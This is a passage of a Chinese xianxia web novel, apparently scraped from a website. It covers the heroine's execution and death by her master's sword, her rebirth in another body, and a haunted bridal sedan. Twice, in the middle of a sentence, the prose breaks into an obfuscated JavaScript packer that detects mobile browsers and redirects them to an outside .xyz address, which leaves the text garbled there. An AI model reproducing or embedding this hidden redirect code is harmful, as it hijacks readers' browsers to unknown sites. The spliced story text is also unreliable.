《师祖暗恋我好多年》 1. 重生 “自今日起,你我师徒恩断义绝,依门规将你逐出师门。” “天道轮回,因果难逃,你罪孽深重,今日便由我动手,送你上路。” 俞思州跪在冰冷的审判台上,手脚皆被锁链锁住,听着面前白衣仙尊一字一句,掷地有声。 她抬头环顾一圈,整个审判台被仙门百家派出的执法者围得密不透风,两位同门师兄也御剑站在高空俯瞰,他们扫来的眸光,满溢着厌恶。 “罪孽深重?”俞思州轻轻念道,笑起来。 “你还不认?私自修习禁术、勾结魔域妖鬼,戕害同门。”白衣仙尊冷声答,“桩桩件件皆是血。” 大风烈烈,吹得她有些睁不开眼睛,她现在浑身是伤,一身黑衣已经被血浸透。 俞思州摇了摇头,嘴上依然唤他师尊:“师尊,那不是我做的。” “那你如何解释你身负禁术,可以驱策邪祟?又如何解释你释放魔域妖兽,任它们害死仙门同袍?”闻漱冷冷道,“叶青鸢和你尚有同门情谊,你却将她重伤,至今未愈,叫我如何信你。” 俞思州不言,又听闻漱道:“别叫师尊,我已不是你师尊了。” 俞思州低头看着自己血丝漫布的手,这双手原本是用来握剑的,但是自从她根基被毁之后,她就再也不能拿剑了。 天上的藏冥山弟子,见此情景,无不心中感慨。 他们都知道,掌门的三徒弟俞思州,曾在山门里做过很久的杂役。 她的身体太接近普通人,肉体凡胎,灵脉天生细弱,聚不了多少灵气,这样的灵脉天赋,哪怕是放在名不见经传的宗门里,都只能称得上是草包,何况她是在号称仙道第一,天才如过江之鲫的藏冥山。 原本她的人生轨迹,应该就是在宗门里当个百来年的杂役弟子,最后活到寿终正寝。 但是,也正是她这个杂役弟子,站上了宗门大比的擂台,甚至击败了当时的天骄弟子。 俞思州那会甚至没有自己的灵剑,而是抄了一把铁剑站到擂台上去,对那未尝败绩的弟子说:“我要挑战你。” 台下随即传来一声声哄笑,掌教师姐拦住她问:“你的灵剑呢?” 俞思州挠了挠头,说自己还没攒够进藏剑墟的灵石,观战的人于是笑得更大声了。 铁剑碰灵剑,杂役对天骄,有什么胜算? 所有人都等着看笑话,但很遗憾,他们并没有等到这个笑话。 擂台上,剑风吟啸,罡气如龙,那天骄弟子整个人倒飞出去两里地,灵剑断作两截。 那时,整个擂台观战者数百人,场中静的能听见针落的声音。 俞思州起手第一招,便是问心剑意第九式,清霄问心。 这套剑术创自玉虚太微宫那位世尊师祖,几乎是所有宗门入门必修,因为只是单纯的剑法,用不到灵力,最普通的凡人也可以练来强身健体,只是修习越往后难度越大,堪称逆天而行。 宗门绝大多数人都会放弃,但是显然,俞思州是那个例外。 她也就这样凭借着自己的剑术,拜入了掌门门下,风光无限。 直到…… 掌门带回了那天纵奇才的小师妹叶青鸢,而俞思州经脉尽毁,叛出山门。 此刻,审判台上,阴云滚滚。 俞思州的眼神猛然变得锋利,周身灵力暴涨,黑气冒出,原本死死束缚住她的锁链霎时崩断。 她强撑着四肢剧痛,站起了身。 “这孽障用禁术挣脱了!”“快起阵!”“凌霜君怎么还没动手!?” 背后,来自执法者们数千道法术的流光如炸开的焰火,那些光芒照亮了她如芍药花一般稠丽的面容,也照亮了此刻她眼中深深的笑意和难过。 她笑着道:“你真的未曾有一次想过,我到底为何走到这一步吗?” 面对这一声质问,闻漱的表情依旧平静,没有丝毫变化:“你心中所思所想,我并不知晓,也不关心,但你走入歪门邪道,已是定局。” 他的声音散在风中,很冷:“错便是错,如今还有脸面来质问我么?” “好一个错便是错。”俞思州摇了摇头,又叹道:“罢了。” 她顿住,闭目,轻轻唤道:“不染尘。” 闻漱腰间灵剑“不染尘”,发出一声长鸣,竟然直接出鞘,飞到了她手上,剑身的灵力屏障猛然张起,竟是主动替她将身后攻来的千道法术化去了。 “孽障。”闻漱语气重了,伸手要将剑召回,但它生平第一次毫无反应。 俞思州攥住那把通体纯白的剑,虚弱的调侃它:“你竟然还听我的话,你到底是谁的剑呐?” 然后,她踉踉跄跄,把不染尘架到了自己脖子上。 “闻漱掌门。”俞思州笑着,“你说的那些罪,我一个都不认,我做的所有事,我都问心无愧。” 然后,她轻轻说:“我自认平生犯过唯一的大错,就是喜欢你。” 闻漱的恨生殿外有一棵巨大的梨花,每当梨花开时,满院便如下了一场大雪,闻漱每每在梨花雪中独行,她总爱不远不近地跟在他身后,就这样静静走一段路。 也许他察觉了,也许他从未知晓。 而闻漱几乎是在俞思州开口的同时,将她这些话语的声音抹去,她的这些话,只有闻漱自己听见了。 然后,俞思州听到了过去从未听过的,闻漱情绪最激烈的言语。 “孽障。”他震声道,“住口,我真是耻于做过你师尊!” 他的眼中,震惊、厌恶、杀意……五色斑斓。 “嗯,我早知道。”俞思州道,垂下眼睛。 下一秒,不染尘剑锋直直没入皮肉。 霎时间,血溅三尺。 温热的猩红铺天盖地泼洒下来,整个世界都在旋转。 支撑的灵力尚有一丝,俞思州嗓音嘶哑,一边呕血一边对闻漱道:“自此,我和你……两不相欠。” 她支持不住,终于倒伏下去,血泊像是一段红绸慢慢铺开。 灵气逸散,俞思州依稀听见闻漱说话的声音。 很淡,很冷,一如这么多年,他面对她的样子:“六根不净,道心不稳,自入我门下,你从来就是朽木一节,如此……死了也好。” 只是句,死了也好。 朽木不可雕也,孺子不可教也,闻漱向来不喜欢不聪明的弟子。 那想来,她这节不自觉的木头在闻漱面前蹦哒了这么多年,一定很惹他厌烦了。 俞思州的周身越来越冷,像被关进不能动弹的石像里,想蜷缩起来都不行。 那些阴灵又来了,它们在她身边尖叫着、大笑着,天地之间,只剩下它们在齐声呼喊,久久盘旋:“俞思州,你努力了这么久——原来这个世界上,根本没有人在乎你呀——” 它们说的好像也没错。 俞思州想,真是狼狈。 但下一刻,这些刺耳的声音突然被抹掉了,只剩下温柔的、几近永恒的寂静。 意识彻底消失的刹那,她在这上千年没有下过雪的审判台上,听见了雪落的声音。 …… 仙门百家皆知,凌霜君闻漱的徒弟俞思州犯下大罪,仙门万人血书,求凌霜君将她除之。 时任藏冥山掌门的凌霜君亲自将她抓回山门,断绝师徒关系,清理门户。 那妖女怕是心中有愧,无颜面对昔日师长,于是径直夺了凌霜君的灵剑不染尘,自戕于审判台上,神魂灰飞烟灭,再无踪迹可寻。 只是藏冥山审判台千余年未下过雪,不知为何,那妖女死时,那里下了一场前所未见的暴雪。 那雪洋洋洒洒,一直下了十七年。 * 十七年后。 “你瞧瞧,你瞧瞧,又是这傻子,躺在这做什么呢?” “哎呦,看着怪可怜的,我听说好像她之前被武员外捉去,说是要给他儿子当媳妇,这是又逃出来了?” “武员外儿子不是已经死了三年了?娶什么媳妇?” “嘘——说是要配阴婚呐。” “多造孽,你看,我这还有剩的馒头,给她一个。” 一阵一阵窃窃私语在俞思州耳边响起,随即,她感觉有什么冷硬的东西邦的一下砸到了肚子上。 原本她的后脑就一阵一阵抽疼,眼下肚子和后脑勺一块疼了起来。 俞思州闭着眼心想:难道这辈子真能到阴间来吗? 清风吹拂,黄昏时的阳光轻柔地照在脸上,俞思州听到了溪水的潺潺声,还闻到了一阵皂角的淡香。 她一时间有点不想睁开眼睛。 已经很久没有吹过这么温和的风了,阴间竟然过得这么惬意吗? 随即,她又反应过来,不对啊,这怎么能是阴间。 闻漱可是号称绝情道第一人,他那把灵剑不染尘,只要有生魂敢撞到剑下去,不管三七二十一,一律平等地灰飞烟灭,连胎都投不了。 那我这是在哪? 没记错的话,我不是已经死了吗?? “哎,这傻子好像醒了。”围绕在俞思州身边的窃窃私语突然停下,随即响起的便是一阵杂乱脚步声,人群一下四散开来。 傻子?我? 俞思州猛然睁开眼睛,从溪水边弹坐起来,怀里硬的像石头似的东西随着动作掉落下去,发出“嗵”的一声,她低头一看,竟然是个冷馒头。 “……”她盯着这个馒头,沉默。 都掉地上了,俞思州本来是不想捡它的,但偏偏这个时候,她的肚子很大声地叫了:“咕——” 她很久之前就已经辟谷,没太感觉过饿,但此刻,一阵久违的强烈饥饿感却传递上来。 俞思州竟然看着那馒头不受控制地咽了口唾沫。 她又沉默两秒,把手在衣服上擦擦,劈手把馒头抄起来,抹了抹上面沾上的灰,就这样咬了一口下去。 “哎哎哎,别吃地上的!”一道女声远远传来。 俞思州咬着馒头抬起头,见眼前原本站的远远的浣衣女小心翼翼靠近了些,从随身的竹篮里给她挑了个软和些的干净馒头递过来。 “啊,多谢。”俞思州赶忙用双手接过。 “哎哟,丫头,你现在是清醒的吧?”浣衣女有些战战兢兢,问。 俞思州点头。 “没发疯就好,嬢嬢给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563628|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲,你吃完馒头就赶紧跑,跑的远远的,千万莫让武员外家里的人抓到喽,他们杀你和杀猫仔似的,造孽。”浣衣女这才放下心来靠近了许多,她絮絮叨叨,往俞思州怀里又多塞了两个馒头。 “嬢嬢,先莫急,你和我说说,这是什么地方啊?”俞思州把那几个馒头接住,一边问。 “哎呀,神仙保佑,你竟能讲出这么多话了。”浣衣女双手合掌拜了拜天地,随即便拉着她说话,语速飞快。 俞思州重生的这个地方,是千机山域内一处叫武家庄的镇子,这具身体原主是个疯傻的姑娘,不知道从什么地方逃来的,没有名字,疯疯癫癫,时好时坏,这里几家街坊看她可怜,就用剩饭剩菜养着,就这么养了几年。 本地富户武员外的儿子武生,三年前去世,死后原本风平浪静,可后来又不知为何,夜夜给他老母托梦,要在阴间娶个漂亮妻子,还说若不让娶,就杀光全庄子的人,武员外只得给仙门递了帖,然后,在等人来的时候,把这疯姑娘先抓了。 “那个仙门来的道长说,这个武生是被歹人操纵着作恶的,就是要吃姑娘的魂嘞。”浣衣女啐道,“真是糟蹋人!” 她骂完了,又对俞思州道:“你孤零零一个,没个家人,那员外早前就偷偷叫人来抓了你一回,嬢嬢还以为你的命要没了。” 俞思州微妙地一顿。 不肖说,原来那疯姑娘的命应该是真的没了。 她感受了一下周身,现在这具身体明显才刚刚回过一点暖来,四肢还有些僵硬,浑身冷的像块冰。 这种冰冷不同寻常,但俞思州还挺熟悉,是因为现在她浑身上下都充满了阴灵气。 修行之人使用天地灵气来行法术,灵气又分阴和阳两种,正道人士修行多爱温和的阳灵气,而用阴灵气的多是邪祟怨灵,被正道视为不祥。 正经修道的弟子里也没几个受得了让阴灵气侵袭全身,阴灵气阳灵气对冲,死的会很快,她现在这躯体只开了灵窍,但一点修为也没有,估摸着,这灵窍是被太多的阴灵气强行冲开的。 俞思州再想到后脑勺的剧痛,明白被她占了身体的姑娘是被人打晕了之后再灌的阴灵气,在早几刻的时候受不住咽了气,神魂已经离体而去。 但是,俞思州本无意多活,这下莫名其妙占了人家的身体,虽然从前仙门百家的弟子提到她都要骂一句邪魔外道,整天“妖女”“孽障”地喊,但她确实是有原则的,死了便是死了,死后重生夺舍他人,这不是她能心安理得接受的事。 哎,还得想想办法,把原来那姑娘的神魂招回来,看还有没有什么办法能补救一二。 但要招魂,首先得找到具体的原因,到底是什么东西或者什么人出于什么动机让她就这样死了,然后才是在头七回魂的时候,找个法坛起招魂幡。 既然已经有仙门来,俞思州便想打探一二。 “嬢嬢,那请来的道长是哪宗哪派的,你知道吗?”俞思州问。 “名字没听分明,但说是号称仙门第一呢。”浣衣女道,“领头的那个道长姓沈,其他人都叫他大师兄。” 仙门第一,大师兄姓沈。 俞思州瞬间打消了去打听一二的想法,连连在心中念了几句流年不利,巴不得原地跨个火盆。 敢号称自己仙门第一的门派也就只有她从前那个师门藏冥山,这个姓沈的弟子大概率是她从前的大师兄沈砚清。 审判台上,沈砚清就在她头顶的乌云里看着她死的,指不定心里快活成什么样,她可不想再去触这人霉头。 恰在此时,溪水另一头传来一声吼叫,直穿天际:“那傻子在那!别让她再跑了!” 这一声吼叫惊飞了一大群鸟,苇丛中突然多出了十几个壮汉的身影,为首的那个一手抄着麻袋,一手捏着麻绳,对着俞思州目露凶光。 这些人抓人怎么这么大阵仗? “哎,快走快走。”浣衣女着急忙慌,猛拉起俞思州,推她离开。 俞思州反手握住这位嬢嬢,见她被自己手上的温度冻了个激灵,又赶忙松开了,道:“嬢嬢你先走,我跑的过他们。” “你……” 不等浣衣女多说什么,俞思州便推了推她:“快去快去,不用担心我。” 眼见这十几个人就要渡溪而过,浣衣女留下一句小心,一咬牙提着竹篮子便跑了。 俞思州脚步一动,从她衣裳里滚出来半片碎铜镜,她一低头,又恰好看见了铜镜里自己的倒影。 镜子里的女子,整张脸精彩的像带了张唱戏的面具,一块红一块黑一块白,红的像血的是嘴唇,黑的是脸上沾的泥灰,至于那白色,她伸手捻了捻,发现那是面上抹的香粉,涂的像墙皮一样厚。 嚯,这样子看真是完全看不出来长相,若是半夜她走在街上,怕是会让人觉得是阴曹地府里冒出来索命的女鬼。 俞思州盯着镜子看,这张脸初看时觉得十分骇人,细看下来——还是十分骇人。 是以,那十几个壮汉捞着裤腿蹚水过来的时候,正瞧见俞思州气定神闲地蹲在芦苇丛边,怀里抱着根湿漉漉的木棍,一手捏着半片镜子揽镜自照,另一手还捏着两个半馒头。 2. 花轿 还好这会是白天,若是晚上猝然见到这一幕,可真是让人心肝都要吓出来了。 这十几个人围过来的时候,就仿佛一堵肉墙,衬得俞思州十分娇弱。 “哼哼,这疯妮子多少是被吓住,不敢走了。”这些人见俞思州这幅闲适的样子,一齐粗声笑了起来。 俞思州没理,只把手里的馒头小心收好揣进怀里——眼下这是她所有的干粮了,她得保护好它们,不能出意外。 揣完馒头,她便抬起头,用自己的大花脸同样扯出一丝笑来:“呵呵。” 这笑容落在这群人眼里,更显得她傻出天际。 “还笑的出来。”手里拿着麻袋的那个壮汉道,“赶紧抓回去给二老爷交差。” 他想也没想,把另一手的麻绳往旁边一塞,兜着那麻袋上来就要抓她头发,另外一个则接住麻绳围上来,一手把那碗口粗的绳子握住,准备把她捆上。 俞思州后退一步,偏头一躲,前面二人落空,但她的手腕又被身后第三个人攥住了。 她抬头瞄了一眼,在心中暗道,这么多人来抓一个姑娘,他们这什么二老爷还真是会欺负人。 抓她手腕的那位打了一个哆嗦,道:“我的娘,这傻子身上怎么冷的像具死尸一样。” “管她死的活的,带走!”不知道哪个人喊。 “等等、我的娘哎——我拉不动她!”他叫道。 “你的饭是不是白吃了!”又不知道哪个人骂。 似乎是想证明自己并没有白吃饭,这人用劲勉力往外一拉,随即感觉不对——这傻子的身体像被烙在了地上一样,真真是一点都拉不动! 他抬起脸来,面对上那张笑的冒傻泡的花脸,一时竟然觉得这姑娘是不是被什么神仙上身了。 “你们说完了吧?说完了就轮到我了。” 俞思州道,她笑容满面,一手凝劲,另一手反手握棍,然后,原地跃起! 长棍挥出,破空的啸声之后,紧接着“咚”“咚”“咚”三声敲鼓似的闷响,她面前三人措手不及,一人脑袋上顶着一个硕大的肿包,颓然倒地,人事不省。 一时间,剩下的人脑子里只剩下一个想法——上一回抓她就像抓猫崽,这回这疯子怎么感觉像是被神仙上身了?!这么厉害?! 俞思州甩了甩棍子,望着剩下的人一扬下巴,眼中挑衅之意展露无疑:“喂,一起上哦。” 那样子,那语气,十分有八分讨打。 剩下的人被她这幅样子一下惹恼,猛冲上来,但俞思州并没有像他们想象中的那样迎面打上,反而往溪边街角扫了一眼,然后直接把棍子戳了出去,也不管接下来如何了,像条滑溜的鱼,撒腿就跑。 “哎呀——杀人啦!”俞思州边跑边扯着嗓子喊,“杀人啦——杀人啦——” 剩下的壮汉们看着她的背影愣了几息,才追了出去。 “站住!”“站住!” 长街之上便是这番盛景,俞思州身后缀着一大串人,跑得灰尘漫天,最前面追她的那个还用手捂着脸,是被她戳出去的棍子正面砸中了。 “杀人啦——”俞思州快活地喊。 “停下,休得无礼!” 一声百灵鸟似的轻喝,三个身着白衣的少年人登时从天而降,拦在了俞思州和这些壮汉之间,三把灵剑同时出鞘,将面前的壮汉逼退了四五步。 趁着这个当口,俞思州动作极麻溜地往边上的小巷子里一钻,反身贴着墙根站住了。 “道、道长……”眼见俞思州消失不见,十几个追着她的人面面相觑,一下子没了气势。 俞思州站在一边偷偷打量这三个少年人的白色衣装。 她早时便看见长街上这几位穿着白色道服、气质与众不同的少年,便想着把这些壮汉引过来甩开,还方便她一看究竟。 眼下过完眼,见到这三位腰间挂着的弟子牌,她就知道这确实是藏冥山的人。 这三位少年人都是十六七岁的样子,为首的那个说话声音十分悦耳,像只百灵鸟,但语气却毫不客气:“沈师兄吩咐,这几日武员外的家仆都不可出门,你们到这里来做什么?” “几位道长,我们……我们不是武员外家的!”捂着脸的那个嘴硬道,其他人都附和着点头。 “最初在府上布阵的时候,师兄已在所有人身上留下了标记,有什么人员在场,我们全都清楚。”少年强硬道,“还请诸位退回府上,不要耽误了你家主人的正事。” 他不给对方一丝辩解的时间,马上示意身后跟着的两位弟子:“若虚、元远,送他们回去。” “请。”那两位弟子往前一步,随即做了一个请的手势。 这群壮汉像赶羊一样被往回赶,这少年见人都走了,便也抬步转向巷里,要去安抚一下刚刚那位逃窜的女子。 “嗯……人呢?” 他迈步进去的时候,那巷中已经空无一人。 * 俞思州此刻正作一个梁上君子。 她跟着那两个小弟子到了武员外家门口,那几个壮汉悻悻地从西门进了府,两个弟子则是走的正门。 俞思州没有跟进去,她在草丛里捉了只小虫,用身上还留着的阴灵气捏了个咒附在小虫上,把它放了进去。 小虫飘飘悠悠,顺着风一下子便消失了,俞思州在心中遥遥祝福它,不要太快就被人拍死。 这是她从前在外时爱用的小伎俩,自己发明的,只要将数不清的微小阴灵气附着在本就微小的事物身上,她就拥有了数不清的“眼睛”。 俞思州在外头,闭眼数着小虫飞行的道路,慢慢勾勒出了武员外家现在的格局。 这宅子靠山,背后是一个水潭,房屋之间较为紧凑,比起其他屋宅,会聚集更多的阴灵气,长久不利于人生活。 中庭的阳灵气最盛,应该是被藏冥山弟子设成了阵眼,俞思州估计,他们会先设阵驱一驱宅子中的阴灵气。 东边、北边……一间间看过,都十分正常,挑不出什么错来。 俞思州十分有耐心地驱使那只小虫,往最后的西厢房而去,但那小虫慢悠悠飞着,一落到西厢房墙上,在它身上附着的阴灵气便一下子被什么东西抽走了。 这个“抽”的动作对于人来说很轻微,就好像微风吹动树叶,但对于这只小虫的感知来说,已经是非常要命的大动作。 小虫子瞬间就死了。 俞思州豁然睁开眼,抬头望了望月亮,又觉得有点饿了,于是掏出馒头啃了一口。 西边厢房有点问题,那群要抓她的壮汉也是从西门进去的。 于是,俞思州三两下吃完馒头,麻利地上墙,去扒了西边厢房的房梁。 此刻,月上梢头。 西厢房外,十几个壮汉排排站着,垂头听一个瘦骨伶仃、头戴小帽的人训话,角落里,被俞思州打晕的三个壮汉被搬了回来,还没醒。 “那个傻子,抓到了吗?”那训话的问。 “回周管家……没有,被外面那些道长给拦住了。”壮汉答。 俞思州认出来,这是被自己最后那一下棍子戳到脸的那个。 “上次也是,人都按吩咐塞进轿子里了,结果还是让她跑了。”周管家低声骂道,“这次叫你们偷偷去抓,不要大张旗鼓,这也能搞坏摊子,真是一伙猪脑,平时的饭白吃了。” 人群噤声。 “现在出去找!二老爷吩咐了,找不到她也要抓个活的女人回来。”周管家道。 “那群道长不是说可以帮我们……”壮汉结巴道,说得有些犹豫。 “帮什么?他们能降得住少爷化的鬼,可不见得能降住背后那个厉害的。”周管家讥讽道,“到时候等这群仙门来的愣头青一走,我们马上就要被报复,他们高高在上,还能救的了我们?不如按二老爷的意思,把那个人要的东西早点送过去,你们几个,不想死就手脚快点。” 俞思州看着这些人互相对视一眼,似乎很是信服的样子,又窸窸窣窣地由那管家领着,扛走了地上晕倒的人,从侧门一溜烟出去了。 看样子,这些人不是很信藏冥山的弟子。 俞思州从房梁上轻轻翻下去,站到厢房庭院前。 厢房门被一把崭新的大锁锁住,门口不像其他院子那般灯火通明,只在门廊上点了两盏有些暗淡的红纸灯笼,淡淡红光照射下,可以看见雕花窗棂已经落了灰尘。 俞思州欲上前去,刚抬脚走了两步便脚下一顿,脚下的感觉不对。 她低头一看,才看见这里满地都是各类小生物的尸体,小点的例如虫子,大点的有老鼠蝙蝠小蛇等等,星星点点散落在周围。 嘶,有这么邪? 她歪了歪脑袋,尽量挑着地方走,不踩到那些小东西的身体,待走到那大锁前,便停下来等着。 过了几息,中庭诸弟子便如她猜的那样,开始念诵除去阴灵气的令咒: “太上敕令,敕咒八方。 鬼魅消散,邪祟灭亡。” 念诵令咒的声音在院中回响、犹如洪钟,俞思州在声音最大的时候,抬脚踹开了厢房门的那把锁。 门曼慢慢打开,里面黑漆漆的,只有俞思州身后的月光投射进去,她的影子被这月光拉的很长。 她的影子正后方,露出一小片艳红的布帘,上面有极精细的龙凤绣花。 俞思州迈步进去,面前赫然是一个方形的黑影,强烈的阴灵气聚拢在黑影内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563629|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部,让人几乎无法忽视。 “这是他们说的……花轿?”她抚了抚自己的下巴。 眼前花轿整体藏在阴影中,浑身是像血一般的朱红色,色彩极其鲜艳浓烈,轿身四角上翘,都挂着铜铃,四周垂挂的红绸帷幔铺陈在地,绣线在光下斑斓闪烁。 轿门上朝外贴着一面银镜,那银镜照着俞思州的大花脸,让她忽然觉得自己现在这样走到这来,好像也挺应景的。 但是,一道有点熟悉又有点陌生的声音,在离俞思州不远的地方响起:“劳烦武员外了,西厢房有未除去的阴灵气,我觉得应该去看看,云岚,一起吧。” “是,大师兄。”一道百灵鸟似的声音答道。 俞思州头皮一炸。 这个叫云岚的应该就是她路上遇到的那个路见不平拔刀相助的藏冥山弟子,至于这位“大师兄”,他的声音乍听起来温和,音调含笑,令人如沐春风,但俞思州一听,只在心中大呼倒霉。 虽然她猜的时候就觉得是沈砚清带队,但也没想到会在这种境况下遇到他。 沈砚清此人,佛面蛇心,看起来温温和和一个人,其实心底里不知道藏着多少脏水,若是顺着他、合他心意,他便会拿出千千万万温柔缱绻,若是忤逆他,那真是像在草丛里突然踩到毒蛇,令人胆寒。 俞思州是体会过他这种两极反转的态度的,况且这人平生最恨用阴灵气施术的邪修,她现在出现在这里,保不准要被他一顿盘问,然后乱剑劈死,再拉回山门去鞭尸。 钥匙开门、锁头落下,谈话声已经近在耳畔,他们只要一推门就会看到她。 俞思州定神,一下掀开眼前花轿的轿帘,整个人藏了进去。 甫一进去,就能感觉到一阵刺入骨髓的冰冷,就好似整个人掉进了寒冬腊月的江水中。 轿子里面是黑的,一点光都没有,那冲天的阴灵气就这么毫无预兆、一下子全灌进了她的身躯里。 俞思州总算是明白,为什么自己醒过来的时候身上会有那么多阴灵气了。 这轿子里设了聚灵阵,只要有活物进入就会被积聚起来的阴灵气侵蚀,而她这具身体原来的主人受不了这样的侵蚀,好不容易逃了出去,最后还是死在了溪边。 但话又说回来,阴灵气灌体,对于普通人甚至部分根基不太稳的修道者来说是要命的,对于俞思州来说却不算很大的事。 这个原理非常简单,修道的都听过一句话,只要没被弄死,就是一种历练,从前被更多的阴灵气侵蚀过且活了下来,就会多生出几分耐力,不会再因为被阴灵气侵体而死,俞思州恰好就是有过这种经历的人。 轿子中看不见外面的情形,她一声不吭任凭那一大团阴灵气挤进自己身体里,没了阴灵气,这轿子四周的温度明显回升了,带着阴沉的气氛似乎一下正常了许多。 俞思州下手封了自己几个穴道,然后调了调息,让阴灵气能像普通气息一样,平顺地在经脉中流动,尽量不被察觉。 她到现在感觉还很良好,但外面似乎有人要喘不上气来了。 有人非常明显地倒抽了一口气,甚至还被这口气给呛着了,听声音,是个分外老的老头:“管家!这门是怎么回事?!” 周管家在一边颤巍巍地答:“二老爷,我也不知道啊,走的时候,门还好着呢。” “有贼!肯定有贼!”二老爷叫道,“沈道长,你看看,这哪有什么阴灵气,都是放屁!周管家!你们几个,赶紧把门关上,给我去抓贼!” “哎、哎。”周管家作势要上去关门,但被云岚拦住了。 “慢着,让沈师兄看过了再关也不迟。”他道。 真是个实心眼的孩子。 俞思州在心中默默道。 沈砚清从头至尾没有说话,俞思州听到一阵分外平稳的脚步声,慢慢向她这边走来。 一步、两步、三步,这个平稳的脚步声最后在轿帘前站定,就要掀开她的帘子。 正在此时,远处突然传来几声极凄厉的哨响,像是有人在云中撕心裂肺地惨叫,令人头皮发麻! 这哨声……是鬼哨! 鬼哨,是一种用来驱阴尸的特殊哨子声,而阴尸是一种以大量阴灵气灌注死人尸首而产生的邪物,能被人驱策豢养,听声而行。 阴尸若听见驱使的鬼哨指令,会自行回应,若俞思州没蹊跷地在这具身躯上醒来,看原本尸身上阴灵气的量,想必听这一声哨响后马上就会尸变。 俞思州眼前突然出现了一抹红色的亮光,周围不断有声音在回荡,呜呜咽咽,似乎是有人一边哭一边在她耳边喊着:“大喜。” 武二老爷发出了一声仿佛被人卡住脖子般的尖叫:“鬼来索命啦!” 3. 阴尸 俞思州心中失笑。 “小心!”沈砚清喝道,他直接一甩袖子,向轿子掷出了一击法术。 俞思州马上感到一阵灼热罡气向轿上急袭而来,耳边鬼哭声越来越响,她直接拉开帘子往外一扑,扯起嗓子嗷了一声:“有鬼要杀我!” 这一声喊的相当石破天惊,几乎所有人都看见有个灰扑扑的人从轿子里滚了出来。 “师兄!这个姑娘我白日里遇见过!”云岚一见她便认了出来,急急道。 “怪不得我白日里找不到你,原来是出去了?”沈砚清道,他当然看见了俞思州,手上收了力,那轿子上的聚灵阵一下子将他的术法吸了进去,轿子竟然毫发无损。 “小叶师姐说想让我带点小玩意给她,就去了。”云岚跑过来,着急道,“我回去会自己领罚的。” “不用,只是青鸢的小玩意何其多,怎么还这么贪玩。”沈砚清摇了摇头,但任谁都能听出话语里那藏不住的宠溺。 那鬼哭声此刻化作一阵阴风吹出,沈砚清背手御剑,冲着鬼哨声响的地方追了出去,动作干脆利落,末了,从空中又遥遥落下来一句嘱咐:“云岚,护好这些人,其余弟子把那个轿子锁起来,之后不要轻举妄动。” “是,沈师兄!” 俞思州抱着头直接蹭到了云岚旁边,地上整整齐齐摆着已经晕过去的武员外、武二老爷和周管家,地上原本四处散落的那些小小的尸体也被清理干净了。 她听见了这两人随口聊的几句。 小叶师姐?叶青鸢? 俞思州心中泛起一阵恶寒。 叶青鸢是在俞思州之后被闻漱收进门里的徒弟,契机是仙门百家组织的一场对魔域妖鬼的围剿。 这人不要命一般闯进妖鬼群中,俞思州因为救她,灵力全数溃散,被卷入妖鬼当中,所有根骨修为也被彻底毁去。 缺了俞思州,剑阵当时差点支撑不住,眼看那些妖鬼就要冲出阵去,叶青鸢却在此时突然开了灵窍,几乎是奇迹一般地撑住了俞思州的位置,挽回大局。 是以那一次,只有俞思州一人受了伤,修行之路彻底断送,连最引以为傲的剑招都用不完整,而宗门突然凭空从外面白捡了一个绝世天才回来,喜不自胜。 俞思州回山之后,闻漱理所应当地把绝世天才叶青鸢带回了山门,在拜师礼上,亲手给她系了弟子宫绦,只字不提俞思州修为为什么受损,偌大一个宗门,竟然没有一个人愿意一起帮俞思州想想办法。 俞思州身处险境时,不但没人愿意帮她,竟然还有人出来说她既然已是个废物,就不应该占着掌门徒弟这个位置浪费修行资源,应该让给青鸢小师妹才对,俞思州不给,就说她小肚鸡肠嫉妒师妹。 甚至后来俞思州叛出宗门,还总有人提到这一茬,说那妖女还曾嫉妒青鸢仙子呢,我们青鸢仙子真是全仙门的宠儿和骄傲啊云云,当时真是让她心中无名火起。 不过,现在回忆起来,在藏冥山的时光和她已经是恍如隔世,是很久很久以前发生过的了。 俞思州刹住思绪,还是觉得自己应该想点开心的,比如说等开坛招魂的时候,她可以顺手给自己多烧点纸钱。 她微微抬头,把闻讯赶来的弟子们都扫了一眼。 藏冥山弟子在场的还有十来个人,都是十六七岁的样子,穿着白色的弟子服,看样子都是刚进门不久的新弟子。 “姑娘……你怎么被抓到这里来了?”云岚上前来,放软了声音想问她几句话,俞思州看着这个老实孩子,眨了眨眼,装作听不懂的样子,猛然抱住头,一味叫道:“有鬼啊!我害怕!” “师弟,别管她了,她这里应该有点问题。”准备去封印花轿的弟子路过,指了指俞思州的脑袋。 “嗯?是、是吗?” 云岚有点手足无措,这个姑娘看上去,精神好像确实不是很正常。 弟子们站在厢房门口,做法布阵,俞思州蹲在地上看,然后,又抬头瞥了一眼云岚的手。 少年精致的银色护腕上用红绳随意系了一个做工粗糙的木哨子,是集市上随处可见的逗小孩的小玩意。 云岚见她的目光落在那哨子上,便伸手把红绳的绳结解开,递给她道:“送给你,呆在这里不要乱走啊,外面很危险。” 哎呀,不仅是个老实孩子,还是个善良的老实孩子。 她十分轻快地把那哨子抓到手里,擦了擦哨子的吹口,察觉到好几人的目光投过来,她脑子一转,笑道:“嘿嘿,哨子。” 她那张没来得及洗掉的大花脸实在是让人不想多看,于是精准地让人挪开了视线。 然后,俞思州扯了扯嘴角,飞快叼住哨子吹响,奇怪的哨子声直穿耳膜而去:“嘟嘟嘟嘟——” 